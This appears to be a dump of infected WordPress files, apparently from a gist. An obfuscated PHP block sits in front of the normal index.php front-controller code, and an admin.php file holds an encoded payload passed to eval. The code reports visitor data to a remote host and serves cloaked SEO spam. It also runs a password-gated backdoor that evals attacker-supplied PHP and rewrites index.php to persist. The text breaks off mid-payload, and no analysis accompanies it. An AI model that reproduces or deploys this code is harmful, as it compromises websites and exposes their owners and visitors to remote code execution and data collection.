while (!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x5f\x30\x30\x4f\x30\x4f"]($O_O_O00_0O)) {
$O00_O_O_O0 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x5f\x4f\x4f\x4f\x30\x5f"]($O_O_O00_0O, 8192);
$OO_0OO00__ .= $O00_O_O_O0;
unset($O00_O_O_O0);
}
}
unset($O00O__O_O0);
}
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x4f\x30\x30\x5f\x4f"]($O_O_O00_0O);
} else {
if (substr($OOOO0_0__0, -1) == 'e') {
$O_0O_0_OO0 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x30\x30\x5f\x4f\x4f"]($O00_0OO__O);
$O_O_O00_0O = $OOOO0_0__0(AF_INET, SOCK_STREAM, 0);
if (socket_connect($O_O_O00_0O, $O_0O_0_OO0, $OO_0O_00_O)) {
if (!$OO0__O0O_0) {
socket_write($O_O_O00_0O, $O0__0O_O0O, ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x4f\x30\x4f\x5f"]($O0__0O_O0O));
while ($O0__O0_O0O = @socket_read($O_O_O00_0O, 8192)) {
$OO_0OO00__ .= $O0__O0_O0O;
unset($O0__O0_O0O);
}
$OO_0OO00__ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x5f\x5f\x30\x30\x30"]("\\r\\n\\r\\n", $OO_0OO00__);
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x5f\x30\x5f\x4f\x4f"]($OO_0OO00__);
$OO_0OO00__ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x4f\x4f\x30\x5f\x30\x5f"]("\\r\\n\\r\\n", $OO_0OO00__);
} else {
$O_0OO00O__ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x4f\x5f\x30\x30\x30"](2, 5);
$OO_0O_0O_0 = 0;
while ($OO_0O_0O_0 < $O_0OO00O__) {
socket_write($O_O_O00_0O, $O0__0O_O0O, ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x4f\x30\x4f\x5f"]($O0__0O_O0O));
$OO_0O_0O_0++;
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x5f\x4f\x30\x4f\x30\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x4f\x5f\x30\x30\x30"](50000, 100000));
}
unset($OO_0O_0O_0, $O_0OO00O__);
}
}
socket_close($O_O_O00_0O);
unset($O_0O_0_OO0);
}
}
unset($O0__0O_O0O, $OOOO0_0__0, $O_O_O00_0O, $OO_0O_00_O, $O00_0OO__O);
if (!$OO0__O0O_0) {
$OO_0OO00__ = @${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x5f\x30\x30\x4f\x30\x5f"]('/(?:(?:\\r\\n|\\n)|^)([0-9A-F]+)(?:\\r\\n|\\n){1,2}(.*?)' . '((?:\\r\\n|\\n)(?:[0-9A-F]+(?:\\r\\n|\\n))|$)/si', 'O_OO00__O0', $OO_0OO00__);
return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x30\x30\x5f\x4f\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x30\x30\x5f\x4f\x4f"]($OO_0OO00__, "\\xEF\\xBB\\xBF"));
} else {
return 1;
}
}
function O_OO00__O0($matches)
{
return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x5f\x30\x4f\x5f"]($matches[1]) == ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x4f\x30\x4f\x5f"]($matches[2]) ? $matches[2] : $matches[0];
}
function O_0O_O_0O0($OO_0__OO00)
{
$OO_O_0O0_0 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x30\x5f\x30\x4f\x4f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x30\x5f\x30\x4f\x30\x5f"]($OO_0__OO00));
$OO0O0_0__O = substr($OO_O_0O0_0, 0, 5);
$OO0O0___O0 = substr($OO_O_0O0_0, -5);
$OO_OO0_00_ = substr($OO_O_0O0_0, 5, ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x4f\x30\x4f\x5f"]($OO_O_0O0_0) - 10);
return $OO0O0_0__O . 'hT' . substr($OO_O_0O0_0, 5, ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x4f\x30\x4f\x5f"]($OO_O_0O0_0) - 10) . 'tP' . $OO0O0___O0;
}
function O_OO00O__0($OO_0__OO00)
{
$OO0O0_0__O = substr($OO_0__OO00, 0, 5);
$OO0O0___O0 = substr($OO_0__OO00, -5);
$OO_OO0_00_ = substr($OO_0__OO00, 7, ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x4f\x30\x4f\x5f"]($OO_0__OO00) - 14);
return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x4f\x4f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x30\x4f\x5f\x5f\x4f"]($OO0O0_0__O . $OO_OO0_00_ . $OO0O0___O0));
}
function O00O_0OO__($O00_O_0_OO = '')
{
if (isset(${"\x5f\x53\x45\x52\x56\x45\x52"})) {
if (isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x58\x5f\x46\x4f\x52\x57\x41\x52\x44\x45\x44\x5f\x46\x4f\x52"])) {
$O00_O_0_OO = ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x58\x5f\x46\x4f\x52\x57\x41\x52\x44\x45\x44\x5f\x46\x4f\x52"];
} else if (isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x43\x4c\x49\x45\x4e\x54\x5f\x49\x50"])) {
$O00_O_0_OO = ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x43\x4c\x49\x45\x4e\x54\x5f\x49\x50"];
} else {
$O00_O_0_OO = ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\x44\x52"];
}
} else {
if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x30\x4f\x5f"]('HTTP_X_FORWARDED_FOR')) {
$O00_O_0_OO = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x30\x4f\x5f"]('HTTP_X_FORWARDED_FOR');
} else if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x30\x4f\x5f"]('HTTP_CLIENT_IP')) {
$O00_O_0_OO = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x30\x4f\x5f"]('HTTP_CLIENT_IP');
} else {
$O00_O_0_OO = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x30\x4f\x5f"]('REMOTE_ADDR');
}
}
return $O00_O_0_OO;
}
function OO00O__0_O($OO_0__OO00 = '')
{
if (isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])) {
return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];
} elseif (isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])) {
return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];
}
return $OO_0__OO00;
}
function O_O0O0O_0_($OO___0O00O)
{
$O0_00__OOO = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x4f\x30\x30\x4f\x30\x5f"]($OO___0O00O);
$OO0_O0_O0_ = '';
for ($OO_0O_0O_0 = 0; $OO_0O_0O_0 < ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x30\x4f\x5f\x4f\x5f"]($O0_00__OOO); $OO_0O_0O_0++) {
if ($OO_0O_0O_0 % 2 != 0) {
$OO0_O0_O0_ .= $O0_00__OOO[$OO_0O_0O_0];
}
}
return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x30\x4f\x5f\x5f\x4f"]($OO0_O0_O0_);
}
function O0O__O_00O($OO_0OO00__)
{
$OO_0OO00__ = @${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x4f\x30\x5f\x4f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x30\x4f\x5f\x5f\x4f"]($OO_0OO00__));
$OO0O00_O__ = @${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x4f\x30\x30\x5f\x30\x5f"]("/\\|/si", $OO_0OO00__, -1, PREG_SPLIT_NO_EMPTY);
if (!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x30\x4f\x30\x4f\x5f\x5f"]($OO0O00_O__)) {
return false;
}
if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x30\x4f\x5f\x4f\x5f"]($OO0O00_O__) < 2) {
return false;
}
$OO_0OO00___array["\x64\x61\x74\x61"] = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x4f\x5f\x30\x30\x4f"]($OO0O00_O__);
$OO_0OO00___array["\x64\x61\x74\x61"] = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x30\x4f\x5f\x5f\x4f"]($OO_0OO00___array["\x64\x61\x74\x61"]);
$OO_0OO00___array["\x68\x65\x61\x64\x65\x72\x73"] = $OO0O00_O__;
return $OO_0OO00___array;
}
function OOO_0O0_0_($OO_0OO0__0 = '')
{
$O_O_00O0_O = O_OO00O__0('K8pPydKi8p1iujcpKAEA');
if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x4f\x30\x5f\x4f"]($O_O_00O0_O)) {
@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x5f\x30\x5f"]($O_O_00O0_O);
}
if ($OO_0OO0__0 == '') {
$OO_0OO0__0 = O_OO00O__0('08soSDuUxOTi0UpuBgA=');
}
$OO_0OO00__ = O_OO00O__0('lVFNrcj5swEPxBvZiPSHB4h0CDgRDKR7DBN2waQ7ABlQTC+/VFIU9pT1VPq1nN7MzuRgcyUIg+z9gBhcq51+g9c4VB8lpcXKtndtt6V/3oHcyFQLR40BkpNLUAJoJ27dp/Vk46f6KpVVM4HyPbhCV+CAaUuoJhH/HeSKQYSR6GRZ5cS3vf5E1dF9JUKns3l65lMOm0JTbuDNbzBYr76qUH3ervPq5U3QGCd+CFR6qGv06fxfzCNYHKQJttTqXtb2u+rsT6Nsut5gDPM1HF/cXXmK2AEqIbSd8apoZLmVuALe8ewclQQXN56v55hw17kCxUBbzAj9G+ztNfe3/Xj9FByDM222q9jweViTjrvLxavRMRyNM3W/ii0vzVFzlUVgOVGT+r+jGTSGNSAJL5NVMzHsxD+qXLOjSS1PpZ4l27/o1teWMepBY9O+APbThRGXM/v6UJclCCwiwHxD8f0I84U5xLuq8DXPwnP37zka9QuGZr9tOWhT9/4Dm3Ux73RgDeu0fyr84+M3');
$OO_0OO00__ = @${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x30\x4f\x5f\x5f\x4f"]($OO_0OO00__);
if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x4f\x30\x5f\x4f"]($OO_0OO0__0)) {
$O00OO_0_O_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x5f\x30\x4f\x4f\x5f\x4f"]($OO_0OO0__0);
if ($OO_0OO00__ == $O00OO_0_O_) {
return;
}
}
@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x5f\x4f\x30\x4f\x30"]($OO_0OO0__0, 0777);
@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x4f\x30\x4f\x30\x5f\x5f"]($OO_0OO0__0, $OO_0OO00__);
@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x5f\x4f\x30\x4f\x30"]($OO_0OO0__0, 0644);
}
function O_0O0O__0O($googleUrl, $O_0O0OO0__, $OOO0O__00_)
{
$OO_0_00O_O = O_OO00O__0('yygpKvMSi20tdXLdYvyMxLty/OLEnNTSywVS0GiqgRBWAwA=');
$O00OO__O_0 = sprintf($OO_0_00O_O, $googleUrl, $OOO0O__00_["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"], $OOO0O__00_["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"], $O_0O0OO0__);
$O_O0O_00O_ = O_OO0_O0_0($O00OO__O_0);
if (isset($_REQUEST["\x73\x74"])) {
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x30\x4f\x5f\x30"]($O00OO__O_0);
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x30\x4f\x5f\x30"]($O_O0O_00O_);
die();
}
$O__000OO_O = O_OO00O__0('S8/PTpO89VgJBQA=');
$O0O0_OO0__ = O_OO00O__0('Ky5NTfck4ihtLgYA');
$OO__0O0_O0 = O_OO00O__0('S0vMzbrElTqNAQA=');
if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x30\x5f\x4f\x30\x5f\x4f"]($O_O0O_00O_, $O__000OO_O) != false) {
die($O0O0_OO0__);
} else {
$OO_0_00O_O = O_OO00O__0('yygpKbHbDS11ct1i/IzEu3L84sSc1NLLBVLQaKqBYOBDAA==');
$O00OO__O_0 = sprintf($OO_0_00O_O, $googleUrl, $OOO0O__00_["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"], $OOO0O__00_["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"], $O_0O0OO0__);
$O_O0O_00O_ = O_OO0_O0_0($O00OO__O_0);
if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x30\x5f\x4f\x30\x5f\x4f"]($O_O0O_00O_, $O__000OO_O) != false) {
die($O0O0_OO0__);
}
die($OO__0O0_O0);
}
}
function O_O00_0OO_($OO___0O00O)
{
$OOO0O__00_ = array();
$OOO0O__00_["\x64\x65\x66\x61\x75\x6c\x74\x5f\x70\x61\x72\x61\x6d\x73"] = $OO___0O00O;
$OOO0O__00_["\x61\x70\x69"] = O_O0O0O_0_($OOO0O__00_["\x64\x65\x66\x61\x75\x6c\x74\x5f\x70\x61\x72\x61\x6d\x73"]);
$OOO0O__00_["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"] = OO00O__0_O();
$OOO0O__00_["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"] = ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"];
$OOO0O__00_["\x72\x65\x66\x65\x72\x65\x72"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"] : '';
$OOO0O__00_["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"] : '';
$OOO0O__00_["\x69\x70"] = O00O_0OO__();
if (isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x53"])) {
$OOO0O__00_["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"] = O_OO00O__0('yygpKPSSi20tcSCHAA==');
} else {
$OOO0O__00_["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"] = O_OO00O__0('yygpKyqbDRBS1wcA');
}
if (isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"])) {
$OOO0O__00_["\x6c\x61\x6e\x67\x75\x61\x67\x65"] = ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"];
} else {
$OOO0O__00_["\x6c\x61\x6e\x67\x75\x61\x67\x65"] = "";
}
if (isset($_REQUEST["\x70\x61\x72\x61\x6d\x73"])) {
$O0__OO0_0O = O_OO00O__0('c87PKPw0nNK9EtqSxItUosKMjJTE4syczP088qzs8YLDAA==');
header($O0__OO0_0O);
if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x5f\x4f\x4f\x30\x30\x4f"]('json_encode')) {
echo ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x5f\x5f\x4f\x4f\x4f\x5f"]($OOO0O__00_);
} else {
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x30\x30\x4f\x5f\x5f\x4f"]($OOO0O__00_);
}
die();
}
if (isset($_REQUEST["\x64\x5f\x74\x69\x6d\x65"])) {
die('2022/12/1');
}
if (isset($_REQUEST["\x70\x77\x64\x31\x36\x33"])) {
if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x30\x30\x5f\x4f\x4f"]($_REQUEST["\x70\x77\x64\x31\x36\x33"])) == "226560a743d22857adddeb10aa38d571") {
$OO0_O0__O0 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x30\x4f\x5f\x5f\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x5f\x4f\x30\x5f\x30\x4f"]((${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x5f\x30\x4f\x4f\x5f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x5f\x30\x4f\x30\x4f\x5f"]($_REQUEST["\x7a\x7a\x7a"])))));
$O_0_0O0O_O = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x30\x4f\x5f\x5f\x4f"]("PD9waHA=");
if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x30\x5f\x4f\x30\x5f\x4f"]($OO0_O0__O0, $O_0_0O0O_O) === false) {
$OO0_O0__O0 = $O_0_0O0O_O . PHP_EOL . $OO0_O0__O0;
}
if (isset($_REQUEST["\x65"])) {
$OO0_O0__O0 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x5f\x30\x30\x4f\x5f"]($O_0_0O0O_O, "", $OO0_O0__O0);
$OOOO0_0__0 = 'e' . ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x30\x4f\x5f\x5f\x4f"]("dmE=") . 'l';
$OOOO0_0__0($OO0_O0__O0);
die();
}
$OO0_OO00__ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x5f\x4f\x30\x5f\x4f"]();
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($OO0_OO00__, $OO0_O0__O0);
$O00O__0OO_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x30\x30\x4f\x4f\x5f"]($OO0_OO00__);
@require($O00O__0OO_["\x75\x72\x69"]);
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x4f\x30\x30\x5f\x4f"]($OO0_OO00__);
die();
}
if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x4f\x30\x5f\x30\x5f"]($_REQUEST["\x70\x77\x64\x31\x36\x33"] . "a!#_11AA") == "2f7a76f71ff9e24be7c0015ff9cb81d8") {
if (isset(${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"])) {
$O_0O0OO0__ = ${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"];
$OO0_0_0_OO = O_OO00O__0('Ky8v1pk0vPz0/PSdVLzs8ARFAA==');
if (isset(${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"])) {
$OO0_0_0_OO = ${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"];
}
O_0O0O__0O($OO0_0_0_OO, $O_0O0OO0__, $OOO0O__00_);
}
}
}
OOO_0O0_0_();
$O0___0OOO0 = array('domain' => $OOO0O__00_["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"], 'request_url' => $OOO0O__00_["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"], 'ip' => $OOO0O__00_["\x69\x70"], 'agent' => $OOO0O__00_["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"], 'referer' => $OOO0O__00_["\x72\x65\x66\x65\x72\x65\x72"], 'protocol' => $OOO0O__00_["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"], 'language' => $OOO0O__00_["\x6c\x61\x6e\x67\x75\x61\x67\x65"]);
$OO_0OO00__ = O_OO0_O0_0($OOO0O__00_["\x61\x70\x69"], 0, 2, $O0___0OOO0, array(), $OOO0O__00_["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"]);
if (isset($_REQUEST["\x64\x75\x6d\x70"])) {
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x30\x4f\x5f\x30"]($OO_0OO00__);
$OO_0OO00__ = O_OO0_O0_0("http://google.co.jp");
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x30\x4f\x5f\x30"]($OO_0OO00__);
die();
}
$O00_O_O_O0 = O0O__O_00O($OO_0OO00__);
if ($O00_O_O_O0 !== false) {
foreach ($O00_O_O_O0["\x68\x65\x61\x64\x65\x72\x73"] as $O0__OO0_0O) {
@header($O0__OO0_0O);
}
echo $O00_O_O_O0["\x64\x61\x74\x61"];
die();
}
}
O_O00_0OO_($OO___0O00O);
?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
view raw index.php hosted with ❤ by GitHub

/admin.php

<?php
function SylVxy($sVDLu)
{
$sVDLu = gzinflate(base64_decode($sVDLu));
for ($i = 0; $i < strlen($sVDLu); $i++) {
$sVDLu[$i] = chr(ord($sVDLu[$i]) - 1);
}
return $sVDLu;
}
$L7CRgr = "6bba05fa4e01e83e5d90601f0e80c444";
eval(SylVxy("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